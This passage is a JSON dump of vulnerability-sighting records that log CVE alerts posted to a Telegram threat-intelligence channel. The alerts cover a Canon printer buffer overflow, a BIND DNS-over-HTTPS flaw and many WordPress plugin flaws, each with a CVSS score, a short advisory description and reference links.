CVSS Score: 9.8 (CVSS_V3)\n\ud83d\udd39 Description: Buffer overflow in TIFF data EXIF tag processing of Small Office Multifunction Printers and Laser Printers(*) which may allow an attacker on the network segment to trigger the affected product being unresponsive or to execute arbitrary code. *: Satera MF656Cdw/Satera MF654Cdw firmware v05.04 and earlier sold in Japan. Color imageCLASS MF656Cdw/Color imageCLASS MF654Cdw/Color imageCLASS MF653Cdw/Color imageCLASS MF652Cdw/Color imageCLASS LBP633Cdw/Color imageCLASS LBP632Cdw firmware v05.04 and earlier sold in US. i-SENSYS MF657Cdw/i-SENSYS MF655Cdw/i-SENSYS MF651Cdw/i-SENSYS LBP633Cdw/i-SENSYS LBP631Cdw firmware v05.04 and earlier sold in Europe.\n\ud83d\udccf Published: 2025-01-28T03:31:13Z\n\ud83d\udccf Modified: 2025-01-28T03:31:13Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12648\n2. https://canon.jp/support/support-info/250127vulnerability-response\n3. https://psirt.canon/advisory-information/cp2025-001\n4. https://www.canon-europe.com/support/product-security/#news\n5. https://www.usa.canon.com/support/canon-product-advisories/service-notice-regarding-vulnerability-measure-against-buffer-overflow-for-laser-printers-and-small-office-multifunctional-printers", "creation_timestamp": "2025-01-28T04:09:28.000000Z"}, {"uuid": "37813976-0cb6-44ab-abf9-738d7f6dcb97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12723", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3244", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12723\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-01-28T06:15:31.370\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/d9053b8b-c05c-42fd-913e-f85c799df807/", "creation_timestamp": "2025-01-28T07:17:10.000000Z"}, {"uuid": "ee4b4fca-6da7-491f-bc28-d807681a4b5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12705", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3430", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12705\n\ud83d\udd25 CVSS Score: 7.5 (CVSS_V3)\n\ud83d\udd39 Description: Clients using DNS-over-HTTPS (DoH) can exhaust a DNS resolver's CPU and/or memory by flooding it with crafted valid or invalid HTTP/2 traffic.\nThis issue affects BIND 9 versions 9.18.0 through 9.18.32, 9.20.0 through 9.20.4, 9.21.0 through 9.21.3, and 9.18.11-S1 through 9.18.32-S1.\n\ud83d\udccf Published: 2025-01-30T00:31:03Z\n\ud83d\udccf Modified: 2025-01-30T00:31:03Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12705\n2. https://kb.isc.org/docs/cve-2024-12705", "creation_timestamp": "2025-01-30T01:12:11.000000Z"}, {"uuid": "e7f8f837-8da6-4a79-a9d4-c97e25c35b24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12768", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3726", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12768\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Responsive iframe WordPress plugin through 1.2.0 does not validate and escape some of its block options before outputting them back in a page/post where the block is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.\n\ud83d\udccf Published: 2025-02-01T06:31:01Z\n\ud83d\udccf Modified: 2025-02-01T06:31:01Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12768\n2. https://wpscan.com/vulnerability/fe2e47f4-b89e-4c22-8d27-672da0fb99af", "creation_timestamp": "2025-02-01T07:16:19.000000Z"}, {"uuid": "c632a877-d689-4caa-8f66-dca2f02075c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12872", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3602", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12872\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-01-31T06:15:27.870\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/a8a706c6-7f0f-4148-9f6f-40c0ca95dd9a/", "creation_timestamp": "2025-01-31T07:24:22.000000Z"}, {"uuid": "47e98ef3-232a-4f64-bf1d-6a172f0e8109", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12213", "type": "seen", "source": "Telegram/RetDTQe4gf9XidjLfj0lnA2pVG--nwXh-AhkRjnrpVj0ANMA", "content": "", "creation_timestamp": "2025-02-20T23:26:55.000000Z"}, {"uuid": "b70f1fd9-6d50-4183-8784-5342ea7f2d44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12709", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3449", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12709\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Bulk Me Now! WordPress plugin through 2.0 does not have CSRF checks in some places, which could allow attackers to make logged in users perform unwanted actions via CSRF attacks.\n\ud83d\udccf Published: 2025-01-30T06:30:50Z\n\ud83d\udccf Modified: 2025-01-30T06:30:50Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12709\n2. https://wpscan.com/vulnerability/d93056f1-1a6e-405f-a094-d4d270393f87", "creation_timestamp": "2025-01-30T07:11:24.000000Z"}, {"uuid": "01170ee0-5bb8-4aa2-ad5c-6162ca195b95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12638", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3448", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12638\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Bulk Me Now! WordPress plugin through 2.0 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.\n\ud83d\udccf Published: 2025-01-30T06:30:50Z\n\ud83d\udccf Modified: 2025-01-30T06:30:50Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12638\n2. https://wpscan.com/vulnerability/a6f5b0fe-00a0-4e30-aec6-87882c035beb", "creation_timestamp": "2025-01-30T07:11:24.000000Z"}, {"uuid": "c2e17198-287c-4130-8c72-6d1c0023719c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12921", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3457", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12921\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-01-30T06:15:29.653\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://plugins.trac.wordpress.org/changeset/3230122/ethereumico\n2. https://www.wordfence.com/threat-intel/vulnerabilities/id/d964c99c-6ab6-453c-969f-66d5cd00dc8e?source=cve", "creation_timestamp": "2025-01-30T07:18:48.000000Z"}, {"uuid": "0b7ca5d4-567a-4384-b227-275bc911d821", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1211", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3539", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-1211\n\ud83d\udd25 CVSS Score: 6.4 (CVSS_V3)\n\ud83d\udd39 Description: An issue has been discovered in GitLab CE/EE affecting all versions starting from 10.6 prior to 16.9.7, starting from 16.10 prior to 16.10.5, and starting from 16.11 prior to 16.11.2 in which cross-site request forgery may have been possible on GitLab instances configured to use JWT as an OmniAuth provider.\n\ud83d\udccf Published: 2025-01-31T00:30:44Z\n\ud83d\udccf Modified: 2025-01-31T00:30:44Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-1211\n2. https://hackerone.com/reports/2323594\n3. https://gitlab.com/gitlab-org/gitlab/-/issues/440313", "creation_timestamp": "2025-01-31T01:12:21.000000Z"}, {"uuid": "269cdf18-c233-4ef8-90e8-44f1f42b1c07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12409", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3482", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12409\n\ud83d\udd25 CVSS Score: 6.2 (CVSS_V3)\n\ud83d\udd39 Description: The Simple:Press Forum plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 's' parameter in all versions up to, and including, 6.10.11 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-30T12:31:18Z\n\ud83d\udccf Modified: 2025-01-30T12:31:18Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12409\n2. https://plugins.trac.wordpress.org/browser/simplepress/trunk/admin/panel-plugins/forms/spa-plugins-list-form.php\n3. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3230289%40simplepress&new=3230289%40simplepress&sfp_email=&sfph_mail=\n4. https://www.wordfence.com/threat-intel/vulnerabilities/id/b9ebeb96-2f39-488e-aef6-d5af0a37c24a?source=cve", "creation_timestamp": "2025-01-30T13:11:28.000000Z"}, {"uuid": "fdc9d759-e8d8-45af-a9be-e5e70da003ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12041", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3742", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12041\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-02-01T06:15:29.527\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://plugins.trac.wordpress.org/changeset/3208874/directorist/tags/8.0.9/includes/rest-api/Version1/class-users-controller.php\n2. https://plugins.trac.wordpress.org/changeset/3231156/directorist/tags/8.1/includes/rest-api/Version1/class-users-controller.php\n3. https://www.wordfence.com/threat-intel/vulnerabilities/id/0d9817ff-ca56-4941-97bc-f26defe7ddd5?source=cve", "creation_timestamp": "2025-02-01T07:25:46.000000Z"}, {"uuid": "6e0d80d0-0fa6-4758-9d77-393f1f1d06bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12768", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3741", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12768\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-02-01T06:15:30.740\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/fe2e47f4-b89e-4c22-8d27-672da0fb99af/", "creation_timestamp": "2025-02-01T07:25:45.000000Z"}, {"uuid": "b3d5b9a3-c914-4ce1-976e-a620195f9913", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12163", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3454", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12163\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The goodlayers-core WordPress plugin before 2.1.3 allows users with a subscriber role and above to upload SVGs containing malicious payloads.\n\ud83d\udccf Published: 2025-01-30T06:30:49Z\n\ud83d\udccf Modified: 2025-01-30T06:30:49Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12163\n2. https://wpscan.com/vulnerability/ea704054-fb66-4014-89bd-1c61074f64e5", "creation_timestamp": "2025-01-30T07:11:31.000000Z"}, {"uuid": "0f34c35e-63db-46e7-9b26-e9abfde4f927", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12275", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3612", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12275\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Canvasflow for WordPress plugin through 1.5.5 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.\n\ud83d\udccf Published: 2025-01-31T06:30:53Z\n\ud83d\udccf Modified: 2025-01-31T06:30:53Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12275\n2. https://wpscan.com/vulnerability/ca5bf8bd-a124-4088-a267-fd8a01cb4f4a", "creation_timestamp": "2025-01-31T08:15:02.000000Z"}, {"uuid": "414d9aae-62cd-4c10-9618-432b114d9afe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12638", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3460", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12638\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-01-30T06:15:29.333\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/a6f5b0fe-00a0-4e30-aec6-87882c035beb/", "creation_timestamp": "2025-01-30T07:18:51.000000Z"}, {"uuid": "26ec9395-935a-444f-ae76-9f4f55f5c1f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12709", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3458", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12709\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-01-30T06:15:29.557\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/d93056f1-1a6e-405f-a094-d4d270393f87/", "creation_timestamp": "2025-01-30T07:18:49.000000Z"}, {"uuid": "520a9bfb-e7b3-4060-abe8-c2d93b3d8802", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12163", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3462", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12163\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-01-30T06:15:29.113\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/ea704054-fb66-4014-89bd-1c61074f64e5/", "creation_timestamp": "2025-01-30T07:18:55.000000Z"}, {"uuid": "8bff3b73-9cef-42e8-9f83-2357ebc2ee8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12524", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3485", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12524\n\ud83d\udd25 CVSS Score: 6.2 (CVSS_V3)\n\ud83d\udd39 Description: The Clinked Client Portal plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'clinked-login-button' shortcode in all versions up to, and including, 1.9 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-30T12:31:18Z\n\ud83d\udccf Modified: 2025-01-30T12:31:18Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12524\n2. https://plugins.trac.wordpress.org/browser/clinked-client-portal/trunk/clinked-wordpress-plugin.php#L87\n3. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3229331%40clinked-client-portal&new=3229331%40clinked-client-portal&sfp_email=&sfph_mail=\n4. https://www.wordfence.com/threat-intel/vulnerabilities/id/417b9dfe-2571-4816-af55-c7cb7dfa62c6?source=cve", "creation_timestamp": "2025-01-30T13:11:30.000000Z"}, {"uuid": "3cb69d8f-cbf4-46ea-b642-d2897f593122", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12772", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3622", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12772\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Ninja Tables  WordPress plugin before 5.0.17 does not sanitize and escape a parameter before outputting it back in the page when importing a CSV, leading to a Cross Site Scripting vulnerability.\n\ud83d\udccf Published: 2025-01-31T06:30:53Z\n\ud83d\udccf Modified: 2025-01-31T06:30:53Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12772\n2. https://wpscan.com/vulnerability/7b6d0f95-6632-4079-8c1b-517a8d02c330", "creation_timestamp": "2025-01-31T08:15:16.000000Z"}, {"uuid": "cc38df7b-086f-44f9-ad61-f89d9eaf396d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12620", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3731", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12620\n\ud83d\udd25 CVSS Score: 5.3 (CVSS_V3)\n\ud83d\udd39 Description: The AnimateGL Animations for WordPress \u2013 Elementor & Gutenberg Blocks Animations plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'agl_json' AJAX action in all versions up to, and including, 1.4.23. This makes it possible for unauthenticated attackers to update the plugin's settings.\n\ud83d\udccf Published: 2025-02-01T06:31:00Z\n\ud83d\udccf Modified: 2025-02-01T06:31:00Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12620\n2. https://wordpress.org/plugins/animategl\n3. https://www.wordfence.com/threat-intel/vulnerabilities/id/841a028d-ff36-4e3f-903b-e25951648075?source=cve", "creation_timestamp": "2025-02-01T07:16:26.000000Z"}, {"uuid": "6e7b03a1-4a91-4d2e-a913-3f5aea995e75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12171", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3729", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12171\n\ud83d\udd25 CVSS Score: 8.7 (CVSS_V3)\n\ud83d\udd39 Description: The ELEX WordPress HelpDesk & Customer Ticketing System plugin for WordPress is vulnerable to privilege escalation due to a missing capability check on the 'eh_crm_agent_add_user' AJAX action in all versions up to, and including, 3.2.6. This makes it possible for authenticated attackers, with Subscriber-level access and above, to create new administrative user accounts.\n\ud83d\udccf Published: 2025-02-01T06:31:00Z\n\ud83d\udccf Modified: 2025-02-01T06:31:00Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12171\n2. https://plugins.trac.wordpress.org/changeset/3227859/elex-helpdesk-customer-support-ticket-system/trunk/includes/class-crm-ajax-functions-one.php\n3. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3213791%40elex-helpdesk-customer-support-ticket-system&new=3213791%40elex-helpdesk-customer-support-ticket-system&sfp_email=&sfph_mail=\n4. https://www.wordfence.com/threat-intel/vulnerabilities/id/cbcd978b-e81f-4c39-b2f7-adc948d21b1b?source=cve", "creation_timestamp": "2025-02-01T07:16:25.000000Z"}, {"uuid": "c7ce35ae-2d5e-4f29-846f-262d17eee668", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12184", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3714", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12184\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-02-01T04:15:30.443\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3231363%40contact-forms&new=3231363%40contact-forms&sfp_email=&sfph_mail=\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3232168%40contact-forms&new=3232168%40contact-forms&sfp_email=&sfph_mail=\n3. https://www.wordfence.com/threat-intel/vulnerabilities/id/695df547-f068-4ac1-926f-80dbf75632dd?source=cve", "creation_timestamp": "2025-02-01T05:25:51.000000Z"}, {"uuid": "7b5b549d-d7df-41b1-b1ba-483e57f1500b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12620", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3713", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12620\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-02-01T04:15:30.583\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://wordpress.org/plugins/animategl/\n2. https://www.wordfence.com/threat-intel/vulnerabilities/id/841a028d-ff36-4e3f-903b-e25951648075?source=cve", "creation_timestamp": "2025-02-01T05:25:50.000000Z"}, {"uuid": "09ed600f-718f-44ec-853d-b5c697be69d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12171", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3715", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12171\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-02-01T04:15:30.303\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://plugins.trac.wordpress.org/changeset/3227859/elex-helpdesk-customer-support-ticket-system/trunk/includes/class-crm-ajax-functions-one.php\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3213791%40elex-helpdesk-customer-support-ticket-system&new=3213791%40elex-helpdesk-customer-support-ticket-system&sfp_email=&sfph_mail=\n3. https://www.wordfence.com/threat-intel/vulnerabilities/id/cbcd978b-e81f-4c39-b2f7-adc948d21b1b?source=cve", "creation_timestamp": "2025-02-01T05:25:51.000000Z"}, {"uuid": "f4aa832b-75d8-460b-8b10-73c224bfd84a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12041", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3721", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12041\n\ud83d\udd25 CVSS Score: 5.3 (CVSS_V3)\n\ud83d\udd39 Description: The Directorist: AI-Powered WordPress Business Directory Plugin with Classified Ads Listings plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 8.0.12 via the /wp-json/directorist/v1/users/ endpoint. This makes it possible for unauthenticated attackers to extract sensitive data including including usernames, email addresses, names, and more information about users.\n\ud83d\udccf Published: 2025-02-01T06:31:01Z\n\ud83d\udccf Modified: 2025-02-01T06:31:01Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12041\n2. https://plugins.trac.wordpress.org/changeset/3208874/directorist/tags/8.0.9/includes/rest-api/Version1/class-users-controller.php\n3. https://plugins.trac.wordpress.org/changeset/3231156/directorist/tags/8.1/includes/rest-api/Version1/class-users-controller.php\n4. https://www.wordfence.com/threat-intel/vulnerabilities/id/0d9817ff-ca56-4941-97bc-f26defe7ddd5?source=cve", "creation_timestamp": "2025-02-01T07:16:13.000000Z"}, {"uuid": "9adf7a94-3db5-46cc-9a84-2a92c99e7869", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12184", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3734", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12184\n\ud83d\udd25 CVSS Score: 5.3 (CVSS_V3)\n\ud83d\udd39 Description: The WordPress Contact Forms by Cimatti plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the accua_forms_download_submitted_file() function in all versions up to, and including, 1.9.4. This makes it possible for unauthenticated attackers to download other user submitted forms.\n\ud83d\udccf Published: 2025-02-01T06:31:00Z\n\ud83d\udccf Modified: 2025-02-01T06:31:00Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12184\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3231363%40contact-forms&new=3231363%40contact-forms&sfp_email=&sfph_mail=\n3. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3232168%40contact-forms&new=3232168%40contact-forms&sfp_email=&sfph_mail=\n4. https://www.wordfence.com/threat-intel/vulnerabilities/id/695df547-f068-4ac1-926f-80dbf75632dd?source=cve", "creation_timestamp": "2025-02-01T07:16:31.000000Z"}, {"uuid": "f85f2e53-c479-40c6-9c3c-23ce6a2b548e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12825", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3748", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12825\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-02-01T08:15:07.337\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3226283%40custom-related-posts&new=3226283%40custom-related-posts&sfp_email=&sfph_mail=\n2. https://www.wordfence.com/threat-intel/vulnerabilities/id/40ba98a0-2193-4201-8370-34fd438dadb3?source=cve", "creation_timestamp": 